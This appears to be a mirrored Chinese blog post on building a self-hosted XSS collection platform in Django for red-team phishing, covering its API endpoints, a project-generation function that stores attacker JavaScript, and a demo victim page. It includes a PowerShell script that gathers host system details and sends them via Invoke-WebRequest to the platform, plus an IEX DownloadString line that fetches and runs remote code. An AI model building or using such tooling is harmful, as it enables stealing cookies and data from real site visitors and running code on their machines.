1

从零开始编写XSS平台

 3 years ago
source link: https://www.ascotbe.com/2021/01/08/CrossSiteScripting/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

在我们日常渗透或者红队打点的时候都或多或少的会挖掘到XSS漏洞,由于红队钓鱼也经常用到XSS平台,虽然网上免费可以注册的平台很多,但是这些平台都是别人的首先钓鱼到的数据并不是只有你一个人可见,网站的管理员也可以看的到,这就会对某些敏感的红队项目的信息造成泄漏,其次网站也经常不稳定,尝尝十天半个月就要换一个平台重新来一次,所以这篇文章就来了~

938393FBC8A524B353CE58DCC17095F4

什么是XSS

跨站脚本(英语:Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。

Cross-site scripting的英文首字母缩写本应为CSS,但因为CSS在网页设计领域已经被广泛指层叠样式表(Cascading Style Sheets),所以将Cross(意为“交叉”)改以交叉形的X做为缩写。

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

什么是Django

Django是一个开放源代码的Web应用框架,由Python写成。采用了MVT的软件设计模式,即模型(Model),视图(View)和模板(Template)。它在开发初期用于管理劳伦斯出版集团旗下的一些以新闻为主的网站。Django于2005年7月在BSD许可证下发布,它的名字来源于比利时的吉普赛爵士吉他手Django Reinhardt。

Django的主要目标是简化数据库驱动的网站的开发。Django注重组件的重用性和“可插拔性”,敏捷开发和DRY法则(Don’t Repeat Yourself)。在Django中普遍使用的语言是Python,甚至包括配置文件和数据模型。

为什么不用Flask

Flask 怎么定位自己的?

将自己定位为微框架。啥叫微框架,就是毛坯房的意思。给你个毛胚房,你自己装修去。

  • 表单怎么解决?从社区找了个 Flask-Form

  • 跨站攻击? 社区 Flask-Form 帮你做了。

  • 登陆认证鉴权怎么搞定? 自己写 User 模块。

  • ORM 怎么挑选?flask-sqlalchemy 自己组装一下。等等 SQLAlchemy 是什么玩意? query 语法写起来怎么这么原始…

  • DBMigration 怎么做? Alembic 配合 SQLAlchemy, 等等,SQLAlchemy?? Alembic

  • 缓存怎么做? 自己手动封装一下 RedisPy

Django 怎么定位标榜自己的?

划重点 The web framework for perfectionists with deadlines. 完美主义者的 Deadline 终结框架

定位不同,就会导致设计上和功能上的倾向性。

  • 表单怎么解决? Django Form 很好用呀。

  • 跨站攻击? Django 帮你做了 csrftoken

  • 登陆认证鉴权怎么搞定? Django 自带了 backend 和 auth 模块。

  • ORM 怎么挑选?Django ORM 很好用。

  • DBMigration 怎么做? Django Migration 了解一些?

  • 缓存怎么做? Django Cache 了解一下?

虽然我们整体架构都是自己纯手撸,使用Flask会更适合我们,但是大家有没有听过一句话:我可以不用,但是我不能没有(逃

Django简单演示

首先创建一个项目

python3 django-admin.py  startproject demo

项目中只有3个函数

  • 加法运算后写入数据库
├── demo
│   ├── asgi.py
│   ├── __init__.py
│   ├── settings.py
│   ├── urls.py
│   ├── wsgi.py
│   └── XSS
│   ├── __init__.py
│   └── test.py
├── manage.py
├── Database.py
└── xss.db

在这结构中我们只需要关这三个文件

  • Database.py数据库写入相关文件

    python
    import sqlite3
    import os
    import sys

    class GetRootFileLocation: # 获取当前文件路径类
    def Result(self) -> str:
    system_type = sys.platform
    if system_type == "win32" or system_type == "cygwin":
    RootFileLocation = os.path.split(os.path.realpath(__file__))[0]
    return RootFileLocation
    elif system_type == "linux" or system_type == "darwin":
    RootFileLocation = os.path.split(os.path.realpath(__file__))[0]
    return RootFileLocation
    class GetDatabaseFilePath: # 数据库文件路径返回值
    def result(self) -> str:
    if sys.platform == "win32" or sys.platform == "cygwin":
    DatabaseFilePath = GetRootFileLocation().Result() + "\\xss.db"
    return DatabaseFilePath
    elif sys.platform == "linux" or sys.platform == "darwin":
    DatabaseFilePath = GetRootFileLocation().Result() + "/xss.db"
    return DatabaseFilePath

    class AdditionOperation:
    def __init__(self):
    self.con = sqlite3.connect(GetDatabaseFilePath().result())
    # 获取所创建数据的游标
    self.cur = self.con.cursor()
    # 创建表
    try:
    self.cur.execute("CREATE TABLE AdditionOperation\
    (id INTEGER PRIMARY KEY,\
    a TEXT NOT NULL,\
    b TEXT NOT NULL,\
    calculation result TEXT NOT NULL)")
    except Exception as e:
    pass
    def Write(self, **kwargs) -> bool or None: # 写入相关信息

    A = kwargs.get("a")
    B = kwargs.get("b")
    try:
    self.cur.execute("INSERT INTO AdditionOperation(a,b,calculation)\
    VALUES (?,?,?)", (A,B,int(A)+int(B),))
    # 提交
    self.con.commit()
    self.con.close()
    return True
    except Exception as e:
    return False
  • urls.py路由表,用来表示连接和路由的关系

    python
    from demo.XSS.test import SayHello,Add,AddToDatabase
    from django.urls import path

    urlpatterns = [
    path('sey_hello/', SayHello),
    path('add/', Add),
    path('add_to_database/', AddToDatabase),
    ]
  • test.py演示的三个函数

    python
    from django.http import JsonResponse
    import json
    from Database import AdditionOperation
    def SayHello(request):#判断请求方式后说你好

    if request.method == "POST":
    return JsonResponse({'message': 'Hello this is POST~', 'code': 200, })
    elif request.method == "GET":
    return JsonResponse({'message': 'Hello this is GET', 'code': 200, })


    def Add(request):#进行加法

    if request.method == "POST":
    A = json.loads(request.body)["a"]
    B = json.loads(request.body)["b"]
    return JsonResponse({'message': int(A)+int(B), 'code': 200, })
    else:
    return JsonResponse({'message': '请使用POST!', 'code': 500, })

    """
    {
    "a": "1",
    "b": "2"
    }
    """
    def AddToDatabase(request):#进行加法后写入数据库

    if request.method == "POST":
    A = json.loads(request.body)["a"]
    B = json.loads(request.body)["b"]
    AdditionOperation().Write(a=A,b=B)
    return JsonResponse({'message': int(A)+int(B), 'code': 200, })
    else:
    return JsonResponse({'message': '请使用POST!', 'code': 500, })

在文件更目录启动项目

python
python3 manage.py runserver 0.0.0.0:9999 --insecure   

可以看到数据库文件中也写入了相关数据

项目关系图

项目的逻辑

除去存放类函数的文件和用户认证文件,整体的文件逻辑如下图

API接口

一个XSS平台在不考虑用户登录的情况下,只需要11个API接口以及3张表即可

接收数据:/a/xxxxx
加载文件:/s/xxxxx
创建跨站脚本钓鱼项目:/api/create_cross_site_script_project/
查询跨站脚本钓鱼项目:/api/query_cross_site_script_project/
查询跨站脚本钓鱼项目接收的数据:/api/query_cross_site_script_project_data/
读取用户自定义跨站脚本模板数据:/api/read_cross_site_script_template/
读取默认跨站脚本模板数据:/api/read_default_cross_site_script_template/
保存用户自定义跨站脚本模板数据:/api/save_cross_site_script_template/
修改用户自定义跨站脚本模板数据:/api/modify_cross_site_script_template/
修改跨站脚本钓鱼项目:/api/modify_cross_site_script_project/
查询跨站脚本钓鱼项目的详细信息:/api/query_cross_site_script_project_info

Django中路由表(urls.py)显示如下:

存放接收数据表:CrossSiteScript
存放项目信息表:CrossSiteScriptProject
存放自定义模板表:CrossSiteScriptTemplate

该模块所有函数逻辑结构都相同,为了不浪费大家的时间,当前就挑选一个生产项目的函数出来讲解,如果想了解各个接口相关参数可以查阅文档

python
def GenerateProject(request):#用来生成项目,并且生成文件和用户绑定
RequestLogRecord(request, request_api="create_cross_site_script_project")
if request.method == "POST":
try:
JavaScriptFileData = json.loads(request.body)["javascript_data"]#获取前端传入的加密过的js文件数据
ProjectName = json.loads(request.body)["project_name"]#用户自定义的项目名
UserToken = json.loads(request.body)["token"]
Uid = UserInfo().QueryUidWithToken(UserToken) # 如果登录成功后就来查询用户名
if Uid != None and JavaScriptFileData!=None: # 查到了UID,并且js数据不为空
UserOperationLogRecord(request, request_api="create_cross_site_script_project", uid=Uid)
GetJavaScriptFilePath().Result()#获取js文件路径
while True:#如果查询确实冲突了
JavaScriptSaveFileName=randoms().result(5)#文件名
QueryJavaScriptSaveFileNameValidity = CrossSiteScriptProject().RepeatInvestigation(file_name=JavaScriptSaveFileName)#判断文件是否重复
if not QueryJavaScriptSaveFileNameValidity:#如果不冲突的话跳出循环
break
JavaScriptSaveRoute = GetJavaScriptFilePath().Result() + JavaScriptSaveFileName # 获得保存路径
with open(JavaScriptSaveRoute, 'w+',encoding='UTF-8') as f:
f.write(base64.b64decode(str(JavaScriptFileData).encode('utf-8')).decode('utf-8'))#文件内容还要加密
CrossSiteScriptProject().Write(file_name=JavaScriptSaveFileName,uid=Uid,project_name=ProjectName)#写到数据库表中
return JsonResponse({'message': JavaScriptSaveFileName, 'code': 200, })#返回创建好的文件名
else:
return JsonResponse({'message': "小宝贝这是非法查询哦(๑•̀ㅂ•́)و✧", 'code': 403, })
except Exception as e:
ErrorLog().Write("Web_CrossSiteScriptHub_CrossSiteScript_GenerateProject(def)", e)
return JsonResponse({'message': '呐呐呐!莎酱被玩坏啦(>^ω^<)', 'code': 169, })
else:
return JsonResponse({'message': '请使用Post请求', 'code': 500, })
  • RequestLogRecordUserOperationLogRecord函数是用户行为判断使用的的
  • UserInfo().QueryUidWithToken(UserToken)是对用户传入的token进行权限验证的
  • ErrorLog().Write()是对报错日志进行一个写入操作的,这几个函数都不用去管它,这不在我们的介绍中

1.首先函数通过判断用户的请求方式

2.当用户使用POST的时候,进行用户传入project_namejavascript_datatoken三个值的获取

3.通过获取到的token值进行查询用户的UID值

4.如果UID不为空且传入的javascript_data值不为空,进行文件名生成

5.当文件名不冲突的时候进行拼接写入到本地,并且传入到数据库中

用PHPstudy快速搭建一个受害者机器,利用php来生成一个cookie

<?php
session_start();
?>

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>分享demo</title>
</head>
<body>
<h1>Hello world</h1>
<p>hacker by ascotbe</p>
</body>
</html>

创建好需要替换掉文本中的ip和项目文件地址这两个参数

构建POC

接着我们在靶机上面添加XSS内容,IP填你的域名或者你后端的地址

可以看到上图1.php文件生成了一个cookie,然后加载了云端的js脚本,最后像云端发送了数据

其实很多时候当目标机器可以无回显执行命令时使用,我们用的dnslog来获取数据会很慢,还可以通过powershell获取数据

这边把js文件内容替换成powershell命令,然后创建项目

powershell
$Desktop=Get-CimInstance -ClassName Win32_Desktop
$BIOS=Get-CimInstance -ClassName Win32_BIOS
$Processor=Get-CimInstance -ClassName Win32_Processor | Select-Object -ExcludeProperty "CIM*"
$QuickFixEngineering=Get-CimInstance -ClassName Win32_QuickFixEngineering
$OperatingSystem =Get-CimInstance -ClassName Win32_OperatingSystem | Select-Object -Property Build*,OSType,ServicePack*
$LogicalDisk=Get-CimInstance -ClassName Win32_LogicalDisk -Filter "DriveType=3"
$ComputerSystem=Get-CimInstance -ClassName Win32_ComputerSystem -Property UserName
$R = Invoke-WebRequest -URI http://ip/a/项目文件名/?Desktop=$Desktop"&"BIOS=$BIOS"&"Processor=$Processor"&"ComputerSystem=$ComputerSystem"&"$QuickFixEngineering=QuickFixEngineering"&"OperatingSystem=$OperatingSystem"&"LogicalDisk=$LogicalDisk
IEX (New-Object Net.WebClient).DownloadString("http://10.91.212.184:9999/s/eeUZF")

大部分白帽子测试漏洞就是进行一个普通弹窗演示,但是正常打红队,想要获取目标客服的一些信息的时候,由于信任以及网址被WAF拦截等情况,导致各种问题,并且无开源项目

本文介绍了一个XSS平台从头到尾的诞生,以及利用原理,虽然代码没有具体详细讲解,主要是太过于枯燥,感兴趣的师傅直接看项目源码就能够看懂,几乎是每一行都有注释,项目整体一个大的模块写下来花了小半个月时间,虽然功能不多,但是当时想写一个这个模块的时候,无从下手只能去看网上别人搭建的平台,通过注册抓包看逻辑结构,进行理解。每次动手写东西的时候都能收获许多东西,多学多谢才能从开发的角度去找漏洞。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK